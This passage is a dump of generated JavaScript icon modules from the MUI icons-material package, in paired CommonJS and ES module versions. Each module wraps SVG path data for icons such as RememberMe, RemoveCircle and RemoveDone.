    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.65 6.35C16.2 4.9 14.21 4 12 4c-4.42 0-7.99 3.58-7.99 8s3.57 8 7.99 8c3.73 0 6.84-2.55 7.73-6h-2.08c-.82 2.33-3.04 4-5.65 4-3.31 0-6-2.69-6-6s2.69-6 6-6c1.66 0 3.14.69 4.22 1.78L13 11h7V4z\"\n}), 'RefreshTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RefreshTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.65 6.35C16.2 4.9 14.21 4 12 4c-4.42 0-7.99 3.58-7.99 8s3.57 8 7.99 8c3.73 0 6.84-2.55 7.73-6h-2.08c-.82 2.33-3.04 4-5.65 4-3.31 0-6-2.69-6-6s2.69-6 6-6c1.66 0 3.14.69 4.22 1.78L13 11h7V4z\"\n}), 'RefreshTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RememberMe.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 14.21c-1.5-.77-3.2-1.21-5-1.21s-3.5.44-5 1.21V6h10z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"10\",\n  r: \"3\"\n}, \"1\")], 'RememberMe');"
  },
  {
    "path": "packages/mui-icons-material/lib/RememberMe.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 14.21c-1.5-.77-3.2-1.21-5-1.21s-3.5.44-5 1.21V6h10z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"10\",\n  r: \"3\"\n}, \"1\")], 'RememberMe');"
  },
  {
    "path": "packages/mui-icons-material/lib/RememberMeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 20H7v-1h10zm0-3H7v-.48c1.47-.99 3.22-1.52 5-1.52s3.53.53 5 1.52zm0-2.79c-1.5-.77-3.2-1.21-5-1.21s-3.5.44-5 1.21V6h10zM17 4H7V3h10z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 13c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"1\")], 'RememberMeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RememberMeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 20H7v-1h10zm0-3H7v-.48c1.47-.99 3.22-1.52 5-1.52s3.53.53 5 1.52zm0-2.79c-1.5-.77-3.2-1.21-5-1.21s-3.5.44-5 1.21V6h10zM17 4H7V3h10z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 13c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"1\")], 'RememberMeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RememberMeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 14.21c-1.5-.77-3.2-1.21-5-1.21s-3.5.44-5 1.21V6h10z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"10\",\n  r: \"3\"\n}, \"1\")], 'RememberMeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RememberMeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 14.21c-1.5-.77-3.2-1.21-5-1.21s-3.5.44-5 1.21V6h10z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"10\",\n  r: \"3\"\n}, \"1\")], 'RememberMeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RememberMeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 1H5v22h14zm-2 14.21c-1.5-.77-3.2-1.21-5-1.21s-3.5.44-5 1.21V6h10z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"10\",\n  r: \"3\"\n}, \"1\")], 'RememberMeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RememberMeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 1H5v22h14zm-2 14.21c-1.5-.77-3.2-1.21-5-1.21s-3.5.44-5 1.21V6h10z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"10\",\n  r: \"3\"\n}, \"1\")], 'RememberMeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RememberMeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 20h10v1H7zm0-2.48V18h10v-.48c-1.47-.99-3.22-1.52-5-1.52s-3.53.53-5 1.52\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"10\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 3h10v1H7z\",\n  opacity: \".3\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 20H7v-1h10zm0-3H7v-.48c1.47-.99 3.22-1.52 5-1.52s3.53.53 5 1.52zm0-2.79c-1.5-.77-3.2-1.21-5-1.21s-3.5.44-5 1.21V6h10zM17 4H7V3h10z\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 13c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"4\")], 'RememberMeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RememberMeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 20h10v1H7zm0-2.48V18h10v-.48c-1.47-.99-3.22-1.52-5-1.52s-3.53.53-5 1.52\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"10\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 3h10v1H7z\",\n  opacity: \".3\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 20H7v-1h10zm0-3H7v-.48c1.47-.99 3.22-1.52 5-1.52s3.53.53 5 1.52zm0-2.79c-1.5-.77-3.2-1.21-5-1.21s-3.5.44-5 1.21V6h10zM17 4H7V3h10z\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 13c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"4\")], 'RememberMeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Remove.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 13H5v-2h14z\"\n}), 'Remove');"
  },
  {
    "path": "packages/mui-icons-material/lib/Remove.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 13H5v-2h14z\"\n}), 'Remove');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveCircle.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m5 11H7v-2h10z\"\n}), 'RemoveCircle');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveCircle.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m5 11H7v-2h10z\"\n}), 'RemoveCircle');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveCircleOutline.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 11v2h10v-2zm5-9C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'RemoveCircleOutline');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveCircleOutline.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 11v2h10v-2zm5-9C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'RemoveCircleOutline');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveCircleOutlineOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 11v2h10v-2zm5-9C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'RemoveCircleOutlineOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveCircleOutlineOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 11v2h10v-2zm5-9C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'RemoveCircleOutlineOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveCircleOutlineRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 12c0 .55.45 1 1 1h8c.55 0 1-.45 1-1s-.45-1-1-1H8c-.55 0-1 .45-1 1m5-10C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'RemoveCircleOutlineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveCircleOutlineRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 12c0 .55.45 1 1 1h8c.55 0 1-.45 1-1s-.45-1-1-1H8c-.55 0-1 .45-1 1m5-10C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'RemoveCircleOutlineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveCircleOutlineSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 11v2h10v-2zm5-9C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'RemoveCircleOutlineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveCircleOutlineSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 11v2h10v-2zm5-9C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'RemoveCircleOutlineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveCircleOutlineTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 11h10v2H7zm5-9C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'RemoveCircleOutlineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveCircleOutlineTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 11h10v2H7zm5-9C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'RemoveCircleOutlineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveCircleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m5 11H7v-2h10z\"\n}), 'RemoveCircleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveCircleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m5 11H7v-2h10z\"\n}), 'RemoveCircleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveCircleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m4 11H8c-.55 0-1-.45-1-1s.45-1 1-1h8c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'RemoveCircleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveCircleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m4 11H8c-.55 0-1-.45-1-1s.45-1 1-1h8c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'RemoveCircleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveCircleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m5 11H7v-2h10z\"\n}), 'RemoveCircleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveCircleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m5 11H7v-2h10z\"\n}), 'RemoveCircleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveCircleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m5 9H7v-2h10z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 11h10v2H7zm5-9C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}, \"1\")], 'RemoveCircleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveCircleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m5 9H7v-2h10z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 11h10v2H7zm5-9C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}, \"1\")], 'RemoveCircleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveDone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m1.79 12 5.58 5.59L5.96 19 .37 13.41zm.45-7.78L12.9 14.89l-1.28 1.28L7.44 12l-1.41 1.41L11.62 19l2.69-2.69 4.89 4.89 1.41-1.41L3.65 2.81zm14.9 9.27L23.62 7 22.2 5.59l-6.48 6.48zM17.96 7l-1.41-1.41-3.65 3.66 1.41 1.41z\"\n}), 'RemoveDone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveDone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m1.79 12 5.58 5.59L5.96 19 .37 13.41zm.45-7.78L12.9 14.89l-1.28 1.28L7.44 12l-1.41 1.41L11.62 19l2.69-2.69 4.89 4.89 1.41-1.41L3.65 2.81zm14.9 9.27L23.62 7 22.2 5.59l-6.48 6.48zM17.96 7l-1.41-1.41-3.65 3.66 1.41 1.41z\"\n}), 'RemoveDone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveDoneOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.84 1.98 3.43 3.39l10.38 10.38-1.41 1.41-4.24-4.24-1.41 1.41 5.66 5.66 2.83-2.83 6.6 6.6 1.41-1.41zm13.21 10.38L23 7.4 21.57 6l-4.94 4.94zm-.71-4.96-1.41-1.41-2.12 2.12 1.41 1.41zM1.08 12.35l5.66 5.66 1.41-1.41-5.66-5.66z\"\n}), 'RemoveDoneOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveDoneOutlined.mjs",
